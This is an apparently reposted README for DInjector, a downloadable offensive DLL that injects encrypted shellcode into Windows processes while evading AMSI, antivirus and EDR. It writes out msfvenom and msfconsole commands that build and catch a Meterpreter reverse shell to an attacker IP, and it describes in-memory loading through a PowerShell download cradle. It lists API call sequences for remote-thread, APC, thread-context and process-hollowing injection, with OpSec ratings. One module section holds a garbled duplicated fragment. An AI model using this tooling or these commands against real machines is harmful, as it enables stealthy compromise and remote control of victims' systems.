DInjector – Collection Of Shellcode Injection Techniques Packed In A D/Invoke Weaponized DLL

December 10, 2021

This repository is an accumulation of my code snippets for various shellcode injection techniques using fantastic D/Invoke API by @TheWover and @FuzzySecurity.

Features:

  • Fully ported to D/Invoke API
  • Encrypted payloads which can be invoked from a URL or passed in base64 as an argument
  • Built-in AMSI bypass
  • PPID spoofing and block non-Microsoft DLLs (stolen from TikiTorch, write-up is here)
  • Sandbox detection & evasion

Based on my testings the DInvoke NuGet package itself is being flagged by many commercial AV/EDR solutions when incuded as an embedded resource via Costura.Fody (or similar approaches), so I’ve shrinked it a bit and included from source to achieve better OpSec.

Usage

  1. Compile the project in VS.
  2. Generate a shellcode for your favourite C2:
~$ msfvenom -p windows/x64/meterpreter/reverse_winhttps LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f raw -o shellcode.bin
  1. Encrypt the shellcode:
~$ encrypt.py shellcode.bin -p 'Passw0rd!' -o enc
  1. Serve the encrypted shellcode and prepare C2 listener:
~$ sudo python3 -m http.server 80
~$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_winhttps; set lhost 10.10.13.37; set lport 443; set EXITFUNC thread; run"
  1. Use the PowerShell download cradle to load DInjector.dll as System.Reflection.Assembly and execute it from memory.

I do not recommend putting the assembly on disk because it will very likely be flagged.

Required global arguments:

Name Example Value Description
/am51 True, False Applies AMSI bypass
/sc http://10.10.13.37/enc Sets shellcode path (can be loaded from URL or as a Base64 string)
/password Passw0rd! Sets password to decrypt the shellcode

Modules

OpSec safe considerations are based on my personal usage expirience and some testings along the way.

FunctionPointer

module_name: 'functionpointer'
description: |
  Allocates a RWX memory region, copies the shellcode into it
  and executes it like a function.
calls:
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
  - 'http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/'
  - 'https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis'
  - 'https://www.fergonez.net/post/shellcode-csharp'

FunctionPointerV2

module_name: 'functionpointerv2'
description: |
  Sets RWX on a byte array and executes it like a function.
calls:
  - ntdll.dll:
    1: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
  - 'https://jhalon.github.io/utilizing-syscalls-in-csharp-1/'
  - 'https://jhalon.github.io/utilizing-syscalls-in-csharp-2/'
  - 'https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs'

CurrentThread

module_name: 'currentthread'
description: |
  Injects shellcode into current process.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    3: 'NtCreateThreadEx'
    4: 'NtWaitForSingleObject'
opsec_safe: false
references:
  - 'https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs'

RemoteThread

module_name: 'remotethread'
arguments: |
  /pid:1337
description: |
  Injects shellcode into an existing remote process.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtOpenProcess'
    2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    3: 'NtWriteVirtualMemory'
    4: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    5: 'NtCreateThreadEx'
opsec_safe: false
references:
  - 'https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs'

RemoteThreadSuspended

protection to PAGE_NOACCESS. After a short sleep (waiting until a possible AV scan is finished) the protection is flipped again to PAGE_EXECUTE_READ. Thread execution via NtCreateThreadEx. calls: – ntdll.dll: 1: ‘NtOpenProcess’ 2: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’ 3: ‘NtWriteVirtualMemory’ 4: ‘NtProtectVirtualMemory (PAGE_NOACCESS)’ 5: ‘NtCreateThreadEx (CREATE_SUSPENDED)’ 6: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’ 7: ‘NtResumeThread’ opsec_safe: true references: – ‘https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/’ – ‘https://github.com/plackyhacker/Suspended-Thread-Injection/blob/main/injection.cs’ “>

module_name: 'remotethreadsuspended'
arguments: |
  /pid:1337
description: |
  Injects shellcode into an existing remote process and flips memory protection to PAGE_NOACCESS.
  After a short sleep (waiting until a possible AV scan is finished) the protection is flipped again to PAGE_EXECUTE_READ.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtOpenProcess'
    2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    3: 'NtWriteVirtualMemory'
    4: 'NtProtectVirtualMemory (PAGE_NOACCESS)'
    5: 'NtCreateThreadEx (CREATE_SUSPENDED)'
    6: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    7: 'NtResumeThread'
opsec_safe: true
references:
  - 'https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/'
  - 'https://github.com/plackyhacker/Suspended-Thread-Injection/blob/main/injection.cs'

RemoteThreadAPC

module_name: 'remotethreadapc'
arguments: |
  /image:C:WindowsSystem32svchost.exe /ppid:31337 /blockDlls:True
description: |
  Injects shellcode into a newly spawned remote process.
  Thread execution via NtQueueApcThread.
calls:
  - kernel32.dll:
    1: 'InitializeProcThreadAttributeList'
    2: 'UpdateProcThreadAttribute (blockDLLs)'
    3: 'UpdateProcThreadAttribute (PPID)'
    4: 'CreateProcessA'
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    2: 'NtWriteVirtualMemory'
    3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    4: 'NtOpenThread'
    5: 'NtQueueApcThread'
    6: 'NtAlertResumeThread'
opsec_safe: true
references:
  - 'https://rastamouse.me/exploring-process-injection-opsec-part-2/'
  - 'https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0'

RemoteThreadContext

module_name: 'remotethreadcontext'
arguments: |
  /image:C:WindowsSystem32svchost.exe /ppid:31337 /blockDlls:True
description: |
  Injects shellcode into a newly spawned remote process.
  Thread execution via SetThreadContext.
calls:
  - kernel32.dll:
    1: 'InitializeProcThreadAttributeList'
    2: 'UpdateProcThreadAttribute (blockDLLs)'
    3: 'UpdateProcThreadAttribute (PPID)'
    4: 'CreateProcessA'
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    2: 'NtWriteVirtualMemory'
    3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    4: 'NtCreateThreadEx (CREATE_SUSPENDED)'
    5: 'GetThreadContext'
    6: 'SetThreadContext'
    7: 'NtResumeThread'
opsec_safe: true
references:
  - 'https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/'
  - 'https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs'

ProcessHollow

module_name: 'processhollow'
arguments: |
  /image:C:WindowsSystem32svchost.exe /ppid:31337 /blockDlls:True
description: |
  Injects shellcode into a newly spawned remote process.
  Thread execution via NtResumeThread (hollowing with shellcode).
calls:
  - kernel32.dll:
    1: 'InitializeProcThreadAttributeList'
    2: 'UpdateProcThreadAttribute (blockDLLs)'
    3: 'UpdateProcThreadAttribute (PPID)'
    4: 'CreateProcessA'
  - ntdll.dll:
    1: 'NtQueryInformationProcess'
    2: 'NtReadVirtualMemory'
    3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE)'
    4: 'NtWriteVirtualMemory'
    5: 'NtProtectVirtualMemory (oldProtect)'
    6: 'NtResumeThread'
opsec_safe: false
references:
  - 'https://github.com/CCob/SharpBlock/blob/master/Program.cs'

Credits

  • @TheWover and @FuzzySecurity for their awesome DInvoke project.
  • All those great researchers mentioned in the modules references above.
Download DInjector

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